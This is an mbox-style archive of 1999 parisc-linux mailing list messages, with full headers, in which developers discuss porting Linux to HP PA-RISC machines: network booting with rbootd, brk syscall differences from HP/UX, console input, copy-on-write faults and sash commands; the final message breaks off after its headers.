X-From-Line: pjlahaie@mailserv2.iuinc.com  Wed Mar  3 18:24:54 1999
Return-Path: <pjlahaie@mailserv2.iuinc.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id SAA01240
	for <pcj@merlin.pcj.primenet.com>; Wed, 3 Mar 1999 18:24:54 -0800
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 03 Mar 1999 18:24:54 PST
Received: from smtp04.primenet.com (daemon@smtp04.primenet.com [206.165.6.134])
	by primenet.com (8.8.8/8.8.5) with ESMTP id JAA17733
	for <pcj@smtp-local.primenet.com>; Wed, 3 Mar 1999 09:28:36 -0700 (MST)
Received: (from daemon@localhost)
	by smtp04.primenet.com (8.8.8/8.8.8) id KAA18545
	for <pcj@primenet.com>; Wed, 3 Mar 1999 10:01:15 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp04.primenet.com, id smtpd018502; Wed Mar  3 10:01:08 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id KAA20035;
	Wed, 3 Mar 1999 10:57:57 -0500
Resent-Date: Wed, 3 Mar 1999 10:57:57 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Sender: pjlahaie@mailserv2.iuinc.com
Message-ID: <36DD599C.F405DAAD@atlsci.com>
Date: Wed, 03 Mar 1999 10:47:40 -0500
From: "Paul J.Y. Lahaie" <pjlahaie@atlsci.com>
Organization: Atlantis Scientific Inc.
X-Mailer: Mozilla 4.5 [en] (X11; I; Linux 2.2.2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: hppa-linux@thepuffingroup.com
Subject: Re: Betr.: RE: [hppa-linux] Another bootstrap test
References: <199903030920.KAA29596@be3334.schering.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Resent-Message-ID: <"M6kRQ2.0.zu4.5mLts"@sod.res.cmu.edu>
Resent-From: hppa-linux@thepuffingroup.com
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/139
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 4a87b93c24c247c79d0d292f11a9d577
Lines: 14
Xref: merlin.pcj.primenet.com palinux:110

"Strelow, Ulrich" wrote:

>      2. The easiest way is to use rbootd. For this test you need a
>      linux-x86 machine connect to the 712/100 via LAN:


    My 712 (a /60) uses bootp for network booting.  I thought only the
older 700 classes used rboot for
network booting.

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Recent changes
Date: Sat, 6 Nov 1999 19:18:10 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <19991106191810.E11609@mathe.stud.uni-erlangen.de>
References: <199911030250.TAA16563@puffin.external.hp.com> <Pine.LNX.4.10.9911022309430.5997-100000@vodka.thepuffingroup.com> <19991103133628.G25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618604 27517 80.91.229.3 (22 Nov 2014 01:10:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:04 +0000 (UTC)
Cc: Alex deVries <adevries@thepuffingroup.com>,
        parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: prumpf@localhost.localdomain  Sat Nov  6 12:49:27 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA01159
	for <parisc-linux@puffin.external.hp.com>; Sat, 6 Nov 1999 12:49:26 -0700
Original-Received: (qmail 13493 invoked by uid 15267); 6 Nov 1999 19:50:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13462 invoked from network); 6 Nov 1999 19:50:46 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 6 Nov 1999 19:50:46 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Sat, 6 Nov 1999 20:50:45 +0100
Original-Received: (from prumpf@localhost)
	by localhost.localdomain (8.9.3/8.9.3) id TAA13638;
	Sat, 6 Nov 1999 19:18:10 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <19991103133628.G25252@mencheca.ch.genedata.com>
"From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>"
Xref: news.gmane.org gmane.linux.ports.parisc:6314

> I've changed it to call sys_brk instead; I'm not quite sure why I had
> thought it would need to call a different function, brk looks identical
> to me on both OSes.

It isn't.  HP/UX brk seems to be equivalent to sys_brk(addr + PAGE_SIZE), i.e.
while Linux gets passed a pointer to the first byte after the end of the brk'd
segment, HP/UX brk gets passed a pointer to the first byte of the last page of
it.  At least, this seemed to be the case for our first binaries.

	Philipp Rumpf


From - Thu Nov 08 21:11:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Congratulations, remarks and questions
Date: Sat, 6 Nov 1999 19:24:55 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <19991106192455.G11609@mathe.stud.uni-erlangen.de>
References: <19991103123044.18853.rocketmail@web507.yahoomail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618604 27522 80.91.229.3 (22 Nov 2014 01:10:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:04 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ulrich Strelow <ulrich_strelow@yahoo.com>
Original-X-From: prumpf@localhost.localdomain  Sat Nov  6 12:49:31 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA01277
	for <parisc-linux@puffin.external.hp.com>; Sat, 6 Nov 1999 12:49:31 -0700
Original-Received: (qmail 13472 invoked by uid 15267); 6 Nov 1999 19:50:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13460 invoked from network); 6 Nov 1999 19:50:46 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 6 Nov 1999 19:50:46 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Sat, 6 Nov 1999 20:50:44 +0100
Original-Received: (from prumpf@localhost)
	by localhost.localdomain (8.9.3/8.9.3) id TAA13661;
	Sat, 6 Nov 1999 19:24:55 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <19991103123044.18853.rocketmail@web507.yahoomail.com>
"From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>"
Xref: news.gmane.org gmane.linux.ports.parisc:6315

> 4. run make config and change the following options:
> CONFIG_IODC_CONSOLE=y
> CONFIG_NETDEVICES=n 
> CONFIG_VT=y
> CONFIG_VT_CONSOLE=y
> CONFIG_SERIAL=n

you're seeing the prompt with the IODC console ?

> Now the questions: the kernel boots to the
> sash-prompt, but no keyboard input is possible
> (neither the HIL-keyboard, nor the keyboard from the
> serial terminal I was using). Is this because of the
> missing support for the ASP chip of the 715/33 ? Are

Unfortunately, the IODC console is not designed to be full-duplex for
multitasking OSes.  Thus, you need to get the serial / HIL driver going
on your hardware to be able to input things or add input to the IODC
console driver which will cause bad 5 second delays (according to the
documentation) when there is no input.

	Philipp Rumpf


From - Thu Nov 08 21:11:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] _end symbol in parisc linux?
Date: Sat, 06 Nov 1999 13:08:22 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <30261.941918902@upchuck>
References: <19991106192614.H11609@mathe.stud.uni-erlangen.de>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618604 27525 80.91.229.3 (22 Nov 2014 01:10:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:04 +0000 (UTC)
Cc: Paul Bame <bame@debian.fc.hp.com>, parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@mathe.stud.uni-erlangen.de>
Original-X-From: law@upchuck.cygnus.com  Sat Nov  6 13:15:31 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA02466
	for <parisc-linux@puffin.external.hp.com>; Sat, 6 Nov 1999 13:15:31 -0700
Original-Received: (qmail 19759 invoked by uid 15267); 6 Nov 1999 20:16:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19747 invoked from network); 6 Nov 1999 20:16:50 -0000
Original-Received: from vomit.cygnus.com (HELO upchuck.cygnus.com) (208.224.120.148)
  by mailserv2.iuinc.com with SMTP; 6 Nov 1999 20:16:50 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id NAA30264;
	Sat, 6 Nov 1999 13:08:22 -0700
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Sat, 06 Nov 1999 19:26:14 +0100.
             <19991106192614.H11609@mathe.stud.uni-erlangen.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:6316


  In message <19991106192614.H11609@mathe.stud.uni-erlangen.de>you write:
  > > Anybody know how to get PA-Linux to have an _end symbol like
  > > most other programs, including Intel Linux?
  > 
  > AFAIK we would need to have linker scripts to do so, which seems to be impo
  > ssible
  > with the HP/UX ld.  So this is on the "things that will get nicer when we h
  > ave
  > GNU binutils again" list.
Actually, you can with SOM with clever use of the sort_key attribute within
a subspace.  Create a new subspace with a larger than normal sort key.  Within
that space create a single symbol "_end".

Though I'd worry about precisely *why* someone wants the _end symbol; whatever
they're trying to do there's probably a better way.

jeff


From - Thu Nov 08 21:11:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sorry, wrong address
Date: Sat, 6 Nov 1999 21:29:53 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <19991106212953.D14009@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618605 27531 80.91.229.3 (22 Nov 2014 01:10:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:05 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: prumpf@localhost.localdomain  Sat Nov  6 13:26:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA02698
	for <parisc-linux@puffin.external.hp.com>; Sat, 6 Nov 1999 13:26:28 -0700
Original-Received: (qmail 22227 invoked by uid 15267); 6 Nov 1999 20:27:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22218 invoked from network); 6 Nov 1999 20:27:49 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 6 Nov 1999 20:27:49 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP for parisc-linux@thepuffingroup.com; Sat, 6 Nov 1999 21:27:46 +0100
Original-Received: (from prumpf@localhost)
	by localhost.localdomain (8.9.3/8.9.3) id VAA14053
	for parisc-linux@thepuffingroup.com; Sat, 6 Nov 1999 21:29:53 +0100
X-Mailer: Mutt 1.0pre3us
Xref: news.gmane.org gmane.linux.ports.parisc:6317

Sorry for the unnecessary mail, but it looks like I had my mail reader misconfigured
during the last few mails.  So, if you want to mail me, please use the address
Philipp.H.Rumpf@mathe.stud.uni-erlangen.de.  Do not use prumpf@suse.de.  If you sent
any mail to prumpf@suse.de which I did not answer but you feel I should, please resend
it to the ugly address (i.e. Philipp.H.Rumpf@mathe.stud.uni-erlangen.de one).  The
From:-Header of the mails I sent before were invalid.

Sorry again,
	Philipp Rumpf


From - Thu Nov 08 21:11:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pgtable.h:acc_rights()
Date: Sat, 6 Nov 1999 21:48:59 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <19991106214859.A1743@alpha.franken.de>
References: <19991106172023.L25252@mencheca.ch.genedata.com> <19991106205125.L11609@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618605 27539 80.91.229.3 (22 Nov 2014 01:10:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:05 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@mathe.stud.uni-erlangen.de>
Original-X-From: hub-fue!alpha.franken.de!tsbogend@rachael.franken.de  Sat Nov  6 13:49:34 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA02892
	for <parisc-linux@puffin.external.hp.com>; Sat, 6 Nov 1999 13:49:34 -0700
Original-Received: (qmail 27015 invoked by uid 15267); 6 Nov 1999 20:50:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27006 invoked from network); 6 Nov 1999 20:50:54 -0000
Original-Received: from rachael.franken.de (193.175.24.38)
  by mailserv2.iuinc.com with SMTP; 6 Nov 1999 20:50:54 -0000
Original-Received: from hub-fue by rachael.franken.de
	via rmail with uucp
	id <m11kCnS-0027anC@rachael.franken.de>
	for thepuffingroup.com!parisc-linux; Sat, 6 Nov 1999 21:50:50 +0100 (MET)
	(Smail-3.2 1996-Jul-4 #4 built DST-Sep-8)
Original-Received: by hub-fue.franken.de (Smail3.1.29.1 #35)
	id m11kCnN-002OneC; Sat, 6 Nov 99 21:50 MET
Original-Received: (from tsbogend@localhost)
	by alpha.franken.de (8.8.7/8.8.5) id VAA01836;
	Sat, 6 Nov 1999 21:48:59 +0100
X-Mailer: Mutt 0.95.4us
In-Reply-To: <19991106205125.L11609@mathe.stud.uni-erlangen.de>; from Philipp Rumpf on Sat, Nov 06, 1999 at 08:51:25PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:6318

On Sat, Nov 06, 1999 at 08:51:25PM +0100, Philipp Rumpf wrote:
> > Why is acc_rights written like this?
> 
> See my commit message.  Basically that works around the "pages mapped
>  read-only when they should be read-write" problem Thomas reported.

the real problem is, that we don't have a working copy on write at the 
moment. So whenever the first access to COW page is a read access, every
write access afterwards will lead to an unhandled page fault (which causes
a panic at the moment). 

Thomas.

-- 
   This device has completely bogus header. Compaq scores again :-|
It's a host bridge, but it should be called ghost bridge instead ;^)
                                        [Martin `MJ' Mares on linux-kernel]


From - Thu Nov 08 21:11:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sash commands
Date: Sun, 7 Nov 1999 12:12:05 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <19991107121205.M25252@mencheca.ch.genedata.com>
References: <19991105021334.J25252@mencheca.ch.genedata.com> <19991106193330.I11609@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618606 27548 80.91.229.3 (22 Nov 2014 01:10:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:06 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Original-X-From: Matthew.Wilcox@genedata.com  Sun Nov  7 04:09:43 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id EAA04806
	for <parisc-linux@puffin.external.hp.com>; Sun, 7 Nov 1999 04:09:43 -0700
Original-Received: (qmail 17354 invoked by uid 15267); 7 Nov 1999 11:11:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17347 invoked from network); 7 Nov 1999 11:11:03 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 7 Nov 1999 11:11:03 -0000
Original-Received: from relay.core.genedata.com (nila-e0.core.genedata.com [157.161.173.44])
	by mail.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dA7BAwd13585;
	Sun, 7 Nov 1999 12:10:58 +0100
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by relay.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dA7BAwZ24621;
	Sun, 7 Nov 1999 12:10:58 +0100
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id MAA754200;
	Sun, 7 Nov 1999 12:10:57 +0100 (CET)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11kQEv-00026uC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for Matthew.Wilcox@genedata.com; Sun, 7 Nov 1999 12:12:05 +0100 (CET) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <19991106193330.I11609@mathe.stud.uni-erlangen.de>; from Philipp Rumpf on Sat, Nov 06, 1999 at 07:33:30PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:6319

On Sat, Nov 06, 1999 at 07:33:30PM +0100, Philipp Rumpf wrote:
> > -mount is known to not work.  I need to speak to prumpf about why this is.
> 
> If I see this correctly this is the 4-argument problem.  Our current (hacked)
> syscall support only supports the register arguments because supporting the
> other ones too just would mean nobody ever got around to fix syscall support :)

Partly.  I should be less gnomic..

Yes, the 4-argument problem is relevant, but it's not the only thing.
sash (since it's a linux program) uses the linux arguments to sys_mount(),
so rather than both writing hpux_mount(), I decided to convince sash to
use the Linux entry point for sys_mount(), and that's what the sash-willy
in puffin.external.hp.com's /tmp has different to the other sashes.

Then I discovered that Linux syscalls were not working because we didn't
have a page mapped at 0xC000'1000, then I discovered we didn't have a
page mapped at 0xC000'0000 either and there was instead a nasty kludge
in fault.c to handle hpux syscalls.  So I added a nasty kludge in there
to make linux syscalls work too (and they don't have the 4-argument
limitation, due to the syscall convention which I decreed).

Now I'm blundering around in the mm system trying to figure out how to
get gateway pages working properly.

> If anyone else needs to send me email (or needed in the last two weeks or so),
> please use the new ugly address Philipp.H.Rumpf@mathe.stud.uni-erlangen.de. As
> I don't work for SuSE any more, prumpf@suse.de is very likely to be invalid
> shortly and I am not sure how often I'll be able to check it before.

The return address on this one was prumpf@mathe.stud.uni-erlangen.de.
I'm using the ugly address you quote there.

> > Ditto -sync.
> 
> what's the problem with sync ?

The same as the problem with -umount -- rather hard to test that it's
working :-)

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:11:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Recent changes
Date: Sun, 7 Nov 1999 12:53:14 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <19991107125314.N25252@mencheca.ch.genedata.com>
References: <199911030250.TAA16563@puffin.external.hp.com> <Pine.LNX.4.10.9911022309430.5997-100000@vodka.thepuffingroup.com> <19991106192023.F11609@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618606 27563 80.91.229.3 (22 Nov 2014 01:10:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:06 +0000 (UTC)
Cc: Alex deVries <adevries@thepuffingroup.com>,
        parisc-linux@thepuffingroup.com
To: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Original-X-From: Matthew.Wilcox@genedata.com  Sun Nov  7 04:50:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id EAA05368
	for <parisc-linux@puffin.external.hp.com>; Sun, 7 Nov 1999 04:50:54 -0700
Original-Received: (qmail 22690 invoked by uid 15267); 7 Nov 1999 11:52:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22673 invoked from network); 7 Nov 1999 11:52:15 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 7 Nov 1999 11:52:15 -0000
Original-Received: from relay.core.genedata.com (nila-e0.core.genedata.com [157.161.173.44])
	by mail.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dA7Bq7j13677;
	Sun, 7 Nov 1999 12:52:07 +0100
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by relay.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dA7Bq7w24676;
	Sun, 7 Nov 1999 12:52:07 +0100
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id MAA728221;
	Sun, 7 Nov 1999 12:52:06 +0100 (CET)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11kQsk-00026uC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for Philipp.H.Rumpf@mathe.stud.uni-erlangen.de; Sun, 7 Nov 1999 12:53:14 +0100 (CET) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <19991106192023.F11609@mathe.stud.uni-erlangen.de>; from Philipp Rumpf on Sat, Nov 06, 1999 at 07:20:23PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:6320

On Sat, Nov 06, 1999 at 07:20:23PM +0100, Philipp Rumpf wrote:
> On Tue, Nov 02, 1999 at 11:14:33PM -0500, Alex deVries wrote:
> > ld: Unsatisfied symbols:
> >    hpux_brk (code)
> 
> Why did the definition of hpux_brk (in kernel/sys_hpux.c) ever vanish ?  Some
> time ago, it looked like this:
> 
> unsigned long sys_brk(unsigned long addr);
> 
> unsigned long hpux_brk(unsigned long addr)
> {
>         /* Sigh.  Looks like HP/UX libc relies on kernel bugs. */
>         return sys_brk(addr + PAGE_SIZE);
> }

It looks like I'm accidentally responsible for deleting that.  Maybe this
explains why grant found that `alias' wasn't working well in sash.  I've
just committed this function back.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:11:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andi <der_fisch@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cant use  rbootd
Date: Sun, 7 Nov 1999 13:18:39 +0100
Organization: Fischlustig
Lines: 13
Approved: news@gmane.org
Message-ID: <99110713214800.00507@beavis>
References: <199911030250.TAA16563@puffin.external.hp.com> <19991106192023.F11609@mathe.stud.uni-erlangen.de> <19991107125314.N25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618606 27571 80.91.229.3 (22 Nov 2014 01:10:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:06 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: der_fisch@fischlustig.de  Sun Nov  7 05:28:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id FAA05636
	for <parisc-linux@puffin.external.hp.com>; Sun, 7 Nov 1999 05:28:27 -0700
Original-Received: (qmail 27614 invoked by uid 15267); 7 Nov 1999 12:29:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27607 invoked from network); 7 Nov 1999 12:29:48 -0000
Original-Received: from 130-149-145-196.dialup.cs.tu-berlin.de (HELO tentakel.fischlustig.de) (@130.149.145.196)
  by mailserv2.iuinc.com with SMTP; 7 Nov 1999 12:29:48 -0000
Original-Received: (qmail 11908 invoked from network); 7 Nov 1999 12:24:05 -0000
Original-Received: from beavis.fischlustig.de (HELO beavis) (andi@192.168.1.1)
  by tentakel.fischlustig.de with SMTP; 7 Nov 1999 12:24:05 -0000
X-Mailer: KMail [version 1.0.28]
In-Reply-To: <19991107125314.N25252@mencheca.ch.genedata.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6321

Hi,

I am using an rbootd running on Debian 2.1 , but my HP 712/60 cant find it, I
put the correct ethernet adress in the /etc/rbootd.conf

but nothing happens if i type

BOOT_ADMIN> search lan


bye
  Andi


From - Thu Nov 08 21:11:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@finlandia.Infodrom.North.DE>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: cant use  rbootd
Date: Sun, 7 Nov 1999 13:41:58 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <19991107134158.Z9767@finlandia.infodrom.north.de>
References: <199911030250.TAA16563@puffin.external.hp.com> <19991106192023.F11609@mathe.stud.uni-erlangen.de> <19991107125314.N25252@mencheca.ch.genedata.com> <99110713214800.00507@beavis>
Reply-To: Martin Schulze <joey@infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618607 27582 80.91.229.3 (22 Nov 2014 01:10:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:07 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Andi <der_fisch@fischlustig.de>
Original-X-From: joey@finlandia.Infodrom.North.DE  Sun Nov  7 05:40:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id FAA05954
	for <parisc-linux@puffin.external.hp.com>; Sun, 7 Nov 1999 05:40:51 -0700
Original-Received: (qmail 29301 invoked by uid 15267); 7 Nov 1999 12:42:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29292 invoked from network); 7 Nov 1999 12:42:11 -0000
Original-Received: from kuolema.infodrom.north.de (postfix@194.94.254.227)
  by mailserv2.iuinc.com with SMTP; 7 Nov 1999 12:42:11 -0000
